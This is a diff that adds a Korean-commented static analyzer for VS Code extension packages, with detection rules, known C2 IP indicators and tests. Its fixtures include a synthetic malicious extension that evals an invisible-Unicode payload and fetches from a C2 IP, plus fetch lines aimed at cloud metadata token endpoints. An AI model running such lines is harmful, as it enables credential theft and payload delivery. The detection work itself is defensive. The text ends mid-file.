/computeMetadata/ 토큰 경로는 Critical 발화 (면제 금지).""" + content = "fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token');" + findings, _ = scan_source_file("a.js", content) + assert "C-007" in _ids(findings) + + +def test_c007_fires_identity_even_with_instance_path(): + """instance 경로가 있어도 identity/token 경로가 함께 있으면 Critical 발화 (면제 금지).""" + content = ( + 'makeRequest("http://169.254.169.254/metadata/instance/compute?api-version=2017-12-01");' + 'fetch("http://169.254.169.254/metadata/identity/oauth2/token");' + ) + findings, _ = scan_source_file("a.js", content) + assert "C-007" in _ids(findings) + + +# --- C1 회귀: 화이트리스트 publisher가 코드룰을 면제하면 안 됨 --- +def test_c003_fires_even_when_publisher_whitelisted(): + """침해된 신뢰 publisher 위협모델: non-vendored eval은 publisher 무관하게 C-003 발화.""" + findings, _ = scan_source_file( + "extension/out/main.js", "const x = eval(payload);", publisher_whitelisted=True + ) + assert "C-003" in _ids(findings) + + +def test_c006_fires_even_when_publisher_whitelisted(): + """non-vendored C2 IP는 publisher 무관하게 C-006 발화.""" + findings, _ = scan_source_file( + "extension/out/main.js", "fetch('http://199.247.10.166/x')", publisher_whitelisted=True + ) + assert "C-006" in _ids(findings) + + +# --- C2 회귀: vendored 제외는 FP 우려 룰(C-003/C-011)에만 한정 --- +def test_c006_fires_in_node_modules(): + """node_modules 경로라도 C-006(C2 IP)는 발화해야 함 (FN 방지).""" + findings, _ = scan_source_file( + "extension/node_modules/evil/index.js", "fetch('http://199.247.10.166/x')" + ) + assert "C-006" in _ids(findings) + + +def test_c004_fires_in_node_modules(): + """node_modules 경로라도 C-004(비가시 Unicode)는 발화해야 함.""" + payload = "const p = '" + "​" * 6 + "';" + findings, _ = scan_source_file("extension/node_modules/evil/index.js", payload) + assert "C-004" in _ids(findings) + + +def test_c003_skipped_in_node_modules(): + """vendored 제외는 C-003엔 여전히 적용 (python 번들 lib FP 방지).""" + findings, _ = scan_source_file( + "extension/node_modules/somelib/index.js", "const x = eval('1+1');" + ) + assert "C-003" not in _ids(findings) + + +def test_c011_skipped_in_node_modules(): + """vendored 제외는 C-011(native .node)에도 적용 (정상 native dep FP 방지).""" + findings, _ = scan_source_file( + "extension/node_modules/somelib/index.js", "require('./build/Release/addon.node');" + ) + assert "C-011" not in _ids(findings) diff --git a/backend/tests/vscode_analysis/test_corpus_benign.py b/backend/tests/vscode_analysis/test_corpus_benign.py new file mode 100644 index 00000000..a114d674 --- /dev/null +++ b/backend/tests/vscode_analysis/test_corpus_benign.py @@ -0,0 +1,83 @@ +"""양성 5종 .vsix 코퍼스 검증: Critical 오탐 0 + 반환 형태 + decision=review. + +코퍼스 경로가 없으면 skip (CI 환경 호환). +""" + +import os + +import pytest + +from vscode_analysis.runner import run_vscode_static_analysis + +CORPUS_DIR = os.path.normpath( + os.path.join( + os.path.dirname(__file__), + "..", "..", "..", "..", "..", "..", "..", + "labs", "vscode-corpus", "benign", + ) +) +# 위 상대경로가 환경마다 다를 수 있어 절대경로 fallback도 둔다. +ABS_CORPUS = r"D:/SJH_Data/01_Personal/02_Univ/02_CCIT/dev/labs/vscode-corpus/benign" + +BENIGN_FILES = [ + "dbaeumer.vscode-eslint-3.0.24.vsix", + "esbenp.prettier-vscode-12.4.0.vsix", + "eamodio.gitlens-2026.5.280630.vsix", + "ms-python.python-2026.4.0.vsix", + "vscode-icons-team.vscode-icons-12.18.0.vsix", +] + +RUN_STATIC_KEYS = { + "program_name", "program_version", "program_type", + "reputation_targets", "summary", "findings", "scan_result", "enabled_scanners", +} + + +def _corpus_path(name): + for base in (ABS_CORPUS, CORPUS_DIR): + p = os.path.join(base, name) + if os.path.exists(p): + return p + return None + + +@pytest.mark.parametrize("name", BENIGN_FILES) +def test_benign_no_critical_false_positive(name): + path = _corpus_path(name) + if path is None: + pytest.skip(f"corpus not available: {name}") + + result = run_vscode_static_analysis(path) + + assert result["status"] == "ok", f"{name}: {result.get('error')}" + + # Critical 오탐 0 + crit = result["scan_result"]["critical"] + crit_rules = sorted({f["rule_id"] for f in result["findings"] if f["severity"] == "CRITICAL"}) + assert crit == 0, f"{name}: critical false positives {crit_rules}" + + # 반환 형태가 run_static_analysis와 동일 키 구조 + assert RUN_STATIC_KEYS.issubset(result.keys()) + + # decision=review (양성은 거부 제안 없음) + assert result["decision"]["decision"] == "review" + assert result["decision"]["suggest_reject"] is False + + +def test_python_apiproposals_whitelisted(): + """ms-python apiProposals 9개가 M-002로 발화하지 않아야 한다.""" + path = _corpus_path("ms-python.python-2026.4.0.vsix") + if path is None: + pytest.skip("python corpus not available") + result = run_vscode_static_analysis(path) + ids = {f["rule_id"] for f in result["findings"]} + assert "M-002" not in ids + + +def test_eslint_postinstall_is_medium_not_critical(): + """eslint postinstall은 M-005 medium이지 critical이 아니어야 한다.""" + path = _corpus_path("dbaeumer.vscode-eslint-3.0.24.vsix") + if path is None: + pytest.skip("eslint corpus not available") + result = run_vscode_static_analysis(path) + assert result["scan_result"]["critical"] == 0 diff --git a/backend/tests/vscode_analysis/test_decision.py b/backend/tests/vscode_analysis/test_decision.py new file mode 100644 index 00000000..3751a52a --- /dev/null +++ b/backend/tests/vscode_analysis/test_decision.py @@ -0,0 +1,27 @@ +from vscode_analysis.decision import decide + + +def test_critical_suggests_reject_and_review(): + d = decide({"critical": 2, "high": 0, "medium": 0, "low": 0}) + assert d["decision"] == "review" + assert d["suggest_reject"] is True + + +def test_high_medium_only_is_review_no_reject(): + d = decide({"critical": 0, "high": 1, "medium": 3, "low": 0}) + assert d["decision"] == "review" + assert d["suggest_reject"] is False + + +def test_no_findings_is_review_not_approve(): + d = decide({"critical": 0, "high": 0, "medium": 0, "low": 0}) + assert d["decision"] == "review" + assert d["suggest_reject"] is False + # 자동 approve 절대 없음 + assert d["decision"] != "approve" + + +def test_error_status_is_review_failclosed(): + d = decide({"critical": 0, "high": 0, "medium": 0, "low": 0}, status="error") + assert d["decision"] == "review" + assert d["suggest_reject"] is False diff --git a/backend/tests/vscode_analysis/test_manifest_scan.py b/backend/tests/vscode_analysis/test_manifest_scan.py new file mode 100644 index 00000000..17c41253 --- /dev/null +++ b/backend/tests/vscode_analysis/test_manifest_scan.py @@ -0,0 +1,88 @@ +"""M-001, M-002, M-004, M-005, M-006 positive/negative.""" + +from vscode_analysis.manifest_scan import scan_manifest + + +def _ids(findings): + return {f["rule_id"] for f in findings} + + +# --- M-001 --- +def test_m001_positive_wildcard_activation(): + findings, _ = scan_manifest({"activationEvents": ["*"], "extensionKind": ["ui"]}) + assert "M-001" in _ids(findings) + + +def test_m001_negative_specific_activation(): + findings, _ = scan_manifest({"activationEvents": ["onLanguage:python"], "extensionKind": ["ui"]}) + assert "M-001" not in _ids(findings) + + +# --- M-002 --- +def test_m002_positive_third_party_proposals(): + findings, counts = scan_manifest({ + "publisher": "some-3rd-party", + "enabledApiProposals": ["terminalDataWriteEvent"], + "extensionKind": ["ui"], + }) + assert "M-002" in _ids(findings) + assert counts["high"] >= 1 + + +def test_m002_negative_whitelisted_publisher(): + # ms-python apiProposals 9개 -> 화이트리스트로 면제 (코퍼스 가정) + findings, _ = scan_manifest({ + "publisher": "ms-python", + "enabledApiProposals": ["a", "b", "c", "d", "e", "f", "g", "h", "i"], + "extensionKind": ["ui"], + }) + assert "M-002" not in _ids(findings) + + +def test_m002_negative_no_proposals(): + findings, _ = scan_manifest({"publisher": "x", "enabledApiProposals": [], "extensionKind": ["ui"]}) + assert "M-002" not in _ids(findings) + + +# --- M-004 --- +def test_m004_positive_missing_kind(): + findings, _ = scan_manifest({"name": "x"}) + assert "M-004" in _ids(findings) + + +def test_m004_positive_workspace_kind(): + findings, _ = scan_manifest({"extensionKind": ["workspace"]}) + assert "M-004" in _ids(findings) + + +def test_m004_negative_ui_only(): + findings, _ = scan_manifest({"extensionKind": ["ui"]}) + assert "M-004" not in _ids(findings) + + +# --- M-005 --- +def test_m005_positive_postinstall(): + findings, counts = scan_manifest({ + "scripts": {"postinstall": "node ./build/bin/all.js install"}, + "extensionKind": ["ui"], + }) + assert "M-005" in _ids(findings) + # eslint postinstall은 medium이지 critical 아님 + assert counts["medium"] >= 1 + assert counts["critical"] == 0 + + +def test_m005_negative_no_install_hook(): + findings, _ = scan_manifest({"scripts": {"build": "tsc"}, "extensionKind": ["ui"]}) + assert "M-005" not in _ids(findings) + + +# --- M-006 --- +def test_m006_positive_extension_pack(): + findings, _ = scan_manifest({"extensionPack": ["ms-python.pylance"], "extensionKind": ["ui"]}) + assert "M-006" in _ids(findings) + + +def test_m006_negative_empty_pack(): + findings, _ = scan_manifest({"extensionPack": [], "extensionKind": ["ui"]}) + assert "M-006" not in _ids(findings) diff --git a/backend/tests/vscode_analysis/test_runner_glassworm.py b/backend/tests/vscode_analysis/test_runner_glassworm.py new file mode 100644 index 00000000..d795d7c4 --- /dev/null +++ b/backend/tests/vscode_analysis/test_runner_glassworm.py @@ -0,0 +1,46 @@ +"""GlassWorm 합성 VSIX: 비가시 유니코드 + eval + 알려진 C2 IP -> >=3 critical 룰 -> 거부 제안.""" + +import json +import os +import zipfile + +from vscode_analysis.runner import run_vscode_static_analysis + + +def _make_glassworm_vsix(tmp_path): + vsix = os.path.join(tmp_path, "glassworm.vsix") + manifest = { + "name": "totally-legit-helper", + "version": "1.0.0", + "publisher": "publishingsofficial", + "activationEvents": ["*"], + "extensionKind": ["workspace"], + } + invisible = "​" * 6 # 비가시 유니코드 6자 -> C-004 + # eval -> C-003, 199.247.10.166 -> C-006 + malicious = ( + "const p = '" + invisible + "';\n" + "eval(decode(p));\n" + "fetch('http://199.247.10.166/get_zombi_payload');\n" + ) + with zipfile.ZipFile(vsix, "w") as zf: + zf.writestr("extension/package.json", json.dumps(manifest)) + zf.writestr("extension/out/extension.js", malicious) + return vsix + + +def test_glassworm_triggers_three_critical_and_reject(tmp_path): + vsix = _make_glassworm_vsix(str(tmp_path)) + result = run_vscode_static_analysis(vsix) + + assert result["status"] == "ok" + ids = {f["rule_id"] for f in result["findings"]} + # C-003, C-004, C-006 발화 + assert {"C-003", "C-004", "C-006"}.issubset(ids) + + critical_findings = [f for f in result["findings"] if f["severity"] == "CRITICAL"] + assert len(critical_findings) >= 3 + + assert result["scan_result"]["critical"] >= 3 + assert result["decision"]["suggest_reject"] is True + assert result["decision"]["decision"] == "review" diff --git a/backend/vscode_analysis/__init__.py b/backend/vscode_analysis/__init__.py new file mode 100644 index 00000000..74866096 --- /dev/null +++ b/backend/vscode_analysis/__init__.py @@ -0,0 +1,5 @@ +"""VSCode (VSIX) 정적 분석기 Tier1. + +기존 Chrome 경로/공유 스캐너와 완전히 분리된 신규 모듈. +진입점: runner.run_vscode_static_analysis(vsix_path) +""" diff --git a/backend/vscode_analysis/code_scan.py b/backend/vscode_analysis/code_scan.py new file mode 100644 index 00000000..b861b640 --- /dev/null +++ b/backend/vscode_analysis/code_scan.py @@ -0,0 +1,190 @@ +"""Code body / Secret 정규식 룰. + +Code: C-003, C-004, C-006, C-007, C-009, C-010, C-011 +Secret: X-001, X-002, X-003 +Tier1은 정규식만 사용 (AST 금지). +""" + +from collections import Counter +from typing import Any, Dict, List, Tuple + +try: + from backend.scanners.common import add_finding + from backend.vscode_analysis import rules +except ModuleNotFoundError: # pragma: no cover - import shim + from scanners.common import add_finding + from vscode_analysis import rules + + +def _emit(findings, counts, rule_id, evidence): + severity, category, title, recommendation = rules.RULE_META[rule_id] + add_finding(findings, counts, severity, category, rule_id, title, evidence, recommendation) + + +def _snippet(text: str, idx: int, width: int = 40) -> str: + start = max(0, idx - width) + end = min(len(text), idx + width) + return text[start:end] + + +def _is_vendored(file_name: str) -> bool: + """vendored 의존성 경로 여부 (bundler 미포함 third-party 코드).""" + return "node_modules/" in file_name.replace("\\", "/") + + +def _c003_match_is_exempt(content: str, m) -> bool: + """C-003 매치 1건이 무해한 번들러 보일러플레이트인지 (좁은 예외). + + 매치 시작 위치에서 면제 패턴이 정확히 시작되는지로 판정한다. + - new Function("return this") / Function("return this") : globalThis 폴리필 + - eval("require('...')[.member]") : CommonJS require shim + 둘 다 문자열 리터럴 인자만 허용하므로, 동적/연결 입력은 절대 면제되지 않는다. + """ + start = m.start() + for pat in (rules.C003_EXEMPT_RETURN_THIS, rules.C003_EXEMPT_EVAL_REQUIRE): + em = pat.match(content, start) + if em: + return True + return False + + +def _c007_endpoint_exempt(content: str, endpoint: str) -> bool: + """C-007: 메타데이터 IP/호스트 접근이 *무해한 VM 탐지 텔레메트리*인지 판정. + + 면제 조건 (모두 충족해야만): + 1. 파일 어디에도 토큰/자격증명 경로가 없다 (C007_CREDENTIAL_PATHS 미매치). + 2. 접근이 인스턴스-메타데이터 정상 경로(/metadata/instance ...)로 나타난다. + → instance/compute = VM 탐지(정상), identity/oauth2/token = 자격증명 탈취(위험). + + 자격증명 경로가 보이면 무조건 발화(면제 금지). 정상 경로 맥락 없이 메타데이터 IP만 + 단독으로 등장하는 exfil 의심 케이스도 면제하지 않는다. + """ + if rules.C007_CREDENTIAL_PATHS.search(content): + return False + return bool(rules.C007_INSTANCE_METADATA_PATHS.search(content)) + + +def _c003_first_unexempt(content: str): + """C-003: 면제 대상이 아닌 첫 eval/Function/vm.run* 매치를 반환 (없으면 None). + + 면제(globalThis 폴리필 / require shim)만 있는 파일은 None → 발화 안 함. + 그 외 동적·비자명 eval/Function/vm 호출이 섞여 있으면 그 매치로 Critical 발화. + """ + for m in rules.C003_EVAL.finditer(content): + if not _c003_match_is_exempt(content, m): + return m + return None + + +def scan_source_file( + file_name: str, + content: str, + publisher_whitelisted: bool = False, +) -> Tuple[List[Dict[str, Any]], Counter]: + """단일 소스파일 텍스트를 받아 code+secret 룰 findings + counts 반환. + + publisher_whitelisted: M-002(manifest)에서만 쓰는 화이트리스트 신호. 코드룰(C 룰) + 발화에는 영향 없음 — 침해된 신뢰 publisher 위협모델을 통과시키지 않기 위함. + (호환 위해 파라미터는 유지하나 여기서는 사용하지 않는다.) + """ + findings: List[Dict[str, Any]] = [] + counts: Counter = Counter() + + if not isinstance(content, str) or not content: + return findings, counts + + # vendored(node_modules) 제외는 FP가 실제 우려되는 룰에만 한정한다 (카탈로그): + # C-003(eval) — python 번들 vendored lib FP + # C-011(native .node) — 정상 native dep 다수 매치 + # 나머지 Critical/상수 룰(C-004/006/007/009/010)은 양성 FP 0이므로 vendored에서도 발화. + # publisher 화이트리스트는 코드룰 스킵에 일절 관여하지 않는다 (C1 보안 수정). + vendored = _is_vendored(file_name) + + # --- Code body --- + # C-003: eval / new Function / vm.runIn* (vendored면 면제) + # 추가로, 무해한 번들러 보일러플레이트(globalThis 폴리필 / require shim)만 있는 + # 파일은 면제. 동적·비자명 eval/Function/vm 호출이 하나라도 있으면 Critical 발화. + if not vendored: + m = _c003_first_unexempt(content) + if m: + _emit(findings, counts, "C-003", {"file": file_name, "match": m.group(0)}) + + # C-004: 비가시 Unicode 5자+ 연속 + m = rules.C004_INVISIBLE.search(content) + if m: + _emit(findings, counts, "C-004", + {"file": file_name, "length": len(m.group(0)), + "codepoints": [hex(ord(c)) for c in m.group(0)[:8]]}) + + # C-006: 알려진 C2 IP 상수 + for ip in rules.KNOWN_C2_IPS: + if ip in content: + _emit(findings, counts, "C-006", {"file": file_name, "ip": ip}) + + # C-007: 클라우드 메타데이터 엔드포인트 + # 보안-인지 정제: instance/compute류 정상 텔레메트리(VM 탐지)만 좁게 면제하고, + # identity/oauth2/token 등 자격증명 탈취 경로는 무조건 Critical 유지. + for endpoint in rules.CLOUD_METADATA_ENDPOINTS: + if endpoint in content and not _c007_endpoint_exempt(content, endpoint): + _emit(findings, counts, "C-007", {"file": file_name, "endpoint": endpoint}) + + # C-009: GitHub Search dead-drop + m = rules.C009_GITHUB_SEARCH.search(content) + if m: + _emit(findings, counts, "C-009", {"file": file_name, "match": m.group(0)}) + + # C-010: Blockchain/Calendar 백업 채널 + m = rules.C010_BACKUP_CHANNEL.search(content) + if m: + _emit(findings, counts, "C-010", {"file": file_name, "match": m.group(0)}) + + # C-011: native .node 모듈 로딩 (vendored면 면제) + if not vendored: + m = rules.C011_NATIVE_NODE.search(content) + if m: + _emit(findings, counts, "C-011", {"file": file_name, "match": m.group(0)}) + + # --- Secret (vendored 포함 전체 대상 — 카탈로그 X 룰) --- + + # X-001: PAT (52자 base32) ∧ 동일 파일에 vsce/marketplace/ovsx 맥락 + if rules.X001_CONTEXT.search(content): + m = rules.X001_PAT.search(content) + if m: + _emit(findings, counts, "X-001", + {"file": file_name, "match": m.group(0)[:6] + "..." }) + + # X-002: LLM/클라우드 API 키 — EXAMPLE/PLACEHOLDER/xxx 마스킹 라인 제외 + for m in rules.X002_SECRETS.finditer(content): + line_start = content.rfind("\n", 0, m.start()) + 1 + line_end = content.find("\n", m.end()) + if line_end == -1: + line_end = len(content) + line = content[line_start:line_end].upper() + if any(tok in line for tok in rules.SECRET_MASK_TOKENS): + continue + _emit(findings, counts, "X-002", + {"file": file_name, "match": m.group(0)[:8] + "..."}) + break # 파일당 1건으로 충분 (noise 억제) + + # X-003: GCP service account private key + m = rules.X003_GCP_KEY.search(content) + if m: + _emit(findings, counts, "X-003", {"file": file_name}) + + return findings, counts + + +def scan_sources( + source_files: List[Dict[str, Any]], + publisher_whitelisted: bool = False, +) -> Tuple[List[Dict[str, Any]], Counter]: + """[{file_name, content}, ...] 목록을 받아 전체 code+secret findings + counts 반환.""" + findings: List[Dict[str, Any]] = [] + counts: Counter = Counter() + for entry in source_files: + file_name = str(entry.get("file_name", "unknown")) + content = entry.get("content") + f, c = scan_source_file(file_name, content, publisher_whitelisted=publisher_whitelisted) + findings.extend(f) + counts.update(c) + return findings, counts diff --git a/backend/vscode_analysis/decision.py b/backend/vscode_analysis/decision.py new file mode 100644 index 00000000..cba40867 --- /dev/null +++ b/backend/vscode_analysis/decision.py @@ -0,0 +1,37 @@ +"""VSCode 전용 판정 (설계 §6). + +- Critical >= 1 -> 거부 제안 + review +- High/Medium만 (findings) -> review +- 무 findings -> review (Tier1: 자동 approve 없음) +- 분석 실패 (status=error) -> review (fail-closed) + +자동 approve는 절대 생성하지 않는다. +""" + +from typing import Any, Dict + + +def decide(severity_counts: Dict[str, int], status: str = "ok") -> Dict[str, Any]: + """severity_counts(critical/high/medium/low)와 status를 받아 판정 dict 반환.""" + counts = severity_counts or {} + critical = int(counts.get("critical", 0)) + + if status == "error": + return { + "decision": "review", + "suggest_reject": False, + "reason": "분석 실패 — 수동 검토 필요 (fail-closed)", + } + + if critical >= 1: + return { + "decision": "review", + "suggest_reject": True, + "reason": f"Critical 룰 {critical}건 발화 — 거부 권장 + 수동 검토", + } + + return { + "decision": "review", + "suggest_reject": False, + "reason": "수동 검토 필요 (Tier1 자동 승인 없음)", + } diff --git a/backend/vscode_analysis/manifest_scan.py b/backend/vscode_analysis/manifest_scan.py new file mode 100644 index 00000000..4f6be1a2 --- /dev/null +++ b/backend/vscode_analysis/manifest_scan.py @@ -0,0 +1,61 @@ +"""Manifest(package.json) 룰: M-001, M-002, M-004, M-005, M-006.""" + +from collections import Counter +from typing import Any, Dict, List, Tuple + +try: + from backend.scanners.common import add_finding + from backend.vscode_analysis.rules import PUBLISHER_WHITELIST, RULE_META +except ModuleNotFoundError: # pragma: no cover - import shim + from scanners.common import add_finding + from vscode_analysis.rules import PUBLISHER_WHITELIST, RULE_META + + +def _emit(findings, counts, rule_id, evidence): + severity, category, title, recommendation = RULE_META[rule_id] + add_finding(findings, counts, severity, category, rule_id, title, evidence, recommendation) + + +def scan_manifest(manifest: Dict[str, Any]) -> Tuple[List[Dict[str, Any]], Counter]: + """package.json dict를 받아 manifest 룰 findings + severity_counts 반환.""" + findings: List[Dict[str, Any]] = [] + counts: Counter = Counter() + + if not isinstance(manifest, dict): + return findings, counts + + # M-001: activationEvents에 "*" 단독 포함 + activation = manifest.get("activationEvents") + if isinstance(activation, list) and "*" in activation: + _emit(findings, counts, "M-001", {"activationEvents": activation}) + + # M-002: enabledApiProposals 사용 ∧ publisher ∉ 화이트리스트 + proposals = manifest.get("enabledApiProposals") + if isinstance(proposals, list) and len(proposals) > 0: + publisher = str(manifest.get("publisher", "")).lower() + if publisher not in PUBLISHER_WHITELIST: + _emit(findings, counts, "M-002", + {"publisher": manifest.get("publisher"), "enabledApiProposals": proposals}) + + # M-004: extensionKind 키 부재 ∨ "workspace" 포함 + if "extensionKind" not in manifest: + _emit(findings, counts, "M-004", {"reason": "extensionKind 키 부재"}) + else: + kind = manifest.get("extensionKind") + kinds = kind if isinstance(kind, list) else [kind] + if "workspace" in kinds: + _emit(findings, counts, "M-004", {"extensionKind": kind}) + + # M-005: scripts.postinstall / scripts.preinstall 존재 + scripts = manifest.get("scripts") + if isinstance(scripts, dict): + hooks = {k: scripts[k] for k in ("postinstall", "preinstall") if k in scripts} + if hooks: + _emit(findings, counts, "M-005", {"scripts": hooks}) + + # M-006: extensionPack 비어있지 않음 + pack = manifest.get("extensionPack") + if isinstance(pack, list) and len(pack) > 0: + _emit(findings, counts, "M-006", {"extensionPack": pack}) + + return findings, counts diff --git a/backend/vscode_analysis/rules.py b/backend/vscode_analysis/rules.py new file mode 100644 index 00000000..29a95887 --- /dev/null +++ b/backend/vscode_analysis/rules.py @@ -0,0 +1,159 @@ +"""VSCode Tier1 룰 정의 + 화이트리스트 + IOC 상수. + +패턴 출처: dev/notes/vscode_rule_catalog.md 의 Pattern 열을 그대로 사용. +대상 룰: M-001,002,004,005,006 / C-003,004,006,007,009,010,011 / X-001,002,003 (총 15개) +""" + +import re + +# M-002 면제용 publisher 화이트리스트 (설계 §7) +PUBLISHER_WHITELIST = { + "ms-vscode", + "ms-python", + "ms-toolsai", + "github", + "vscode", + "microsoft", +} + +# C-006 알려진 C2 IP 상수 (카탈로그 C-006/Appendix B GlassWorm+Anivia) +KNOWN_C2_IPS = [ + "199.247.10.166", + "199.247.13.106", + "217.69.3.218", + "158.94.210.76", + "51.178.245.127", + "91.206.169.80", + "51.38.250.193", + "178.16.55.109", + "158.94.210.52", +] + +# C-007 클라우드 메타데이터 엔드포인트 (카탈로그 C-007) +CLOUD_METADATA_ENDPOINTS = [ + "169.254.169.254", + "169.254.170.2", + "metadata.google.internal", + "metadata.azure.com", +] + +# C-007 보안-인지 정제 (자격증명 탈취는 절대 면제 금지). +# 토큰/자격증명(identity) 엔드포인트는 무조건 Critical 유지 — 이게 보이면 예외 적용 안 함. +# instance/compute = VM 탐지(정상 텔레메트리), identity/token = 자격증명 탈취(위험). +# AWS IMDS: /iam/security-credentials, /latest/meta-data/iam, token PUT(IMDSv2) +# Azure: /metadata/identity, oauth2/token +# GCP: /computeMetadata/.../token, service-accounts/.../token +C007_CREDENTIAL_PATHS = re.compile( + r"/metadata/identity" # Azure managed identity 토큰 + r"|oauth2/token" # Azure/GCP OAuth 토큰 + r"|/iam/security-credentials" # AWS 인스턴스 역할 자격증명 + r"|/computeMetadata/" # GCP 메타데이터(토큰 포함 경로) + r"|service-accounts/[^/]+/token" # GCP SA 토큰 + r"|/latest/meta-data/iam" # AWS IAM 메타데이터 + r"|/api/token", # IMDSv2 token 엔드포인트류 + re.IGNORECASE, +) +# 면제 가능한 *정상* 인스턴스 메타데이터 경로 (VM 탐지/텔레메트리). 토큰 경로 없을 때만 의미. +# Azure App Insights: /metadata/instance/compute?api-version=... +C007_INSTANCE_METADATA_PATHS = re.compile( + r"/metadata/instance", # Azure instance metadata (compute/network 등 비자격증명) + re.IGNORECASE, +) + +# X-002 마스킹/예시 컨텍스트 — 이 토큰이 같은 줄에 있으면 면제 (설계 §7) +SECRET_MASK_TOKENS = ("EXAMPLE", "PLACEHOLDER", "XXX") + + +# --- Code body 정규식 (카탈로그 Pattern 열 그대로) --- + +# C-003: eval / new Function / vm.runIn* +C003_EVAL = re.compile( + r"\beval\s*\(|new\s+Function\s*\(|vm\.runIn(NewContext|ThisContext|Context)\s*\(" +) + +# C-003 좁은 정상-맥락 예외 (번들러 보일러플레이트만 면제, 그 외 전부 Critical 유지). +# 안전성 근거: 두 패턴 모두 *문자열 리터럴 인자*만 허용 — 동적/연결 입력은 절대 매치 안 됨. +# (1) globalThis 폴리필: new Function("return this") / Function("return this") +# 인자가 정확히 리터럴 "return this" 일 때만. 그 외 new Function(x)/(...+x)는 발화. +C003_EXEMPT_RETURN_THIS = re.compile( + r"""(?:new\s+)?Function\s*\(\s*(['"])return this\1\s*\)""" +) +# (2) CommonJS require shim: eval("require('...')[.member]") +# eval 인자가 리터럴이고 그 내용이 require('mod') 또는 require('mod').member 형태일 때만. +# eval(변수), eval("a"+b), eval("악성코드") 등 비자명/동적 입력은 매치 안 됨 → 발화. +C003_EXEMPT_EVAL_REQUIRE = re.compile( + r"""\beval\s*\(\s*(['"])\s*require\(\s*['"][^'"]+['"]\s*\)(?:\.[A-Za-z_$][\w$]*)*\s*\1\s*\)""" +) + +# C-004: 비가시 Unicode 5자+ 연속 +# 카탈로그 Pattern: [\u{E0000}-\u{E007F}\u{2060}-\u{2064}\u{200B}-\u{200F}]{5,} +C004_INVISIBLE = re.compile( + "[󠀀-󠁿⁠-⁤​-‏]{5,}" +) + +# C-009: GitHub Search dead-drop +C009_GITHUB_SEARCH = re.compile(r"api\.github\.com/search/commits\?q=") + +# C-010: Blockchain / Calendar C2 백업 채널 +C010_BACKUP_CHANNEL = re.compile( + r"api\.mainnet-beta\.solana\.com|api\.devnet\.solana\.com|calendar\.google\.com/calendar/ical/.*ical" +) + +# C-011: native .node 모듈 로딩 +C011_NATIVE_NODE = re.compile(r"""require\(['"][^'"]*\.node['"]\)""") + + +# --- Secret 정규식 (카탈로그 X 룰 Pattern 열 그대로) --- + +# X-001: Azure DevOps PAT (52자 base32) — 맥락 키워드 동시 매칭 필수 +X001_PAT = re.compile(r"\b[a-z2-7]{52}\b") +X001_CONTEXT = re.compile(r"vsce|marketplace\.visualstudio\.com|ovsx", re.IGNORECASE) + +# X-002: LLM/클라우드 API 키 (OR 결합) +X002_SECRETS = re.compile( + r"sk-(?:proj-)?[A-Za-z0-9_-]{40,}" # OpenAI + r"|sk-ant-(?:api03-)?[A-Za-z0-9_-]{90,}" # Anthropic + r"|AKIA[0-9A-Z]{16}" # AWS Access Key + r"|gh[pousr]_[A-Za-z0-9]{36,}" # GitHub PAT + r"|hf_[A-Za-z0-9]{34}" # HuggingFace + r"|AIza[0-9A-Za-z_-]{35}" # GCP API + r"|xox[baprs]-[A-Za-z0-9-]{10,}" # Slack +) + +# X-003: GCP Service Account private key +X003_GCP_KEY = re.compile(r'"private_key"\s*:\s*"-----BEGIN PRIVATE KEY-----') + + +# 룰 메타데이터 (severity / category / title / recommendation) +RULE_META = { + "M-001": ("high", "manifest", "Eager activation (*)", + "activationEvents에 와일드카드(*) 단독 사용을 제거하고 구체적 트리거를 지정하세요."), + "M-002": ("high", "manifest", "Proposed API 사용 (publisher 미허용)", + "미허용 publisher의 enabledApiProposals 사용입니다. stable 빌드 정책 위반 여부를 검토하세요."), + "M-004": ("medium", "manifest", "extensionKind 누락 또는 workspace 실행", + "extensionKind 설정을 검토해 원격(workspace) 실행 위험을 평가하세요."), + "M-005": ("medium", "manifest", "install script 존재", + "postinstall/preinstall 스크립트가 존재합니다. 설치 시 실행 코드를 검토하세요."), + "M-006": ("medium", "manifest", "extensionPack 강제 묶음 설치", + "extensionPack 멤버 확장도 함께 분석 큐에 추가해 검토하세요."), + "C-003": ("critical", "code", "eval / new Function / vm.runIn*", + "동적 코드 실행 호출이 발견되었습니다. 인자 흐름을 검토하세요."), + "C-004": ("critical", "code", "비가시 Unicode 문자열 (5자+ 연속)", + "비가시 유니코드 페이로드(GlassWorm 패턴)가 의심됩니다. 즉시 격리 검토하세요."), + "C-006": ("critical", "code", "알려진 C2 IP 상수", + "알려진 C2 인프라 IP가 코드 상수로 발견되었습니다. 즉시 차단/격리하세요."), + "C-007": ("critical", "code", "클라우드 메타데이터 엔드포인트 접근", + "클라우드 IMDS/메타데이터 접근(자격증명 수집 의심)이 발견되었습니다."), + "C-009": ("high", "code", "GitHub Search dead-drop", + "GitHub Search commits 엔드포인트(dead-drop C2 패턴) 사용을 검토하세요."), + "C-010": ("high", "code", "Blockchain/Calendar C2 백업 채널", + "Solana RPC / Google Calendar ical 백업 채널 패턴을 검토하세요."), + "C-011": ("medium", "code", "Native .node 모듈 로딩", + "native(.node) 모듈 로딩이 있습니다. 정상 의존성인지 확인하세요."), + "X-001": ("critical", "secret", "Marketplace publisher PAT 노출", + "Azure DevOps/Marketplace PAT 노출이 의심됩니다. 즉시 토큰을 회수하세요."), + "X-002": ("high", "secret", "LLM/클라우드 API 키 노출", + "API 키가 노출되었습니다. 키를 회수하고 재발급하세요."), + "X-003": ("high", "secret", "GCP 서비스계정 private key 노출", + "GCP 서비스계정 private key 노출이 의심됩니다. 즉시 키를 회수하세요."), +} diff --git a/backend/vscode_analysis/runner.py b/backend/vscode_analysis/runner.py new file mode 100644 index 00000000..3e96180b --- /dev/null +++ b/backend/vscode_analysis/runner.py @@ -0,0 +1,138 @@ +"""VSCode 정적 분석 진입점. + +run_vscode_static_analysis(vsix_path): + VSIX(zip) 해제 -> extension/package.json -> 소스 순회 -> manifest+code 룰 합산 + -> run_static_analysis와 동일한 반환 키 구조 + decision 첨부. +파싱/해제 실패 시 status="error" 형태 반환 (raise 금지). +""" + +import json +import re +import zipfile +from collections import Counter +from typing import Any, Dict, List + +try: + from backend.scanners.common import summarize_findings + from backend.vscode_analysis import decision as decision_mod + from backend.vscode_analysis.manifest_scan import scan_manifest + from backend.vscode_analysis.code_scan import scan_sources + from backend.vscode_analysis.rules import PUBLISHER_WHITELIST +except ModuleNotFoundError: # pragma: no cover - import shim + from scanners.common import summarize_findings + 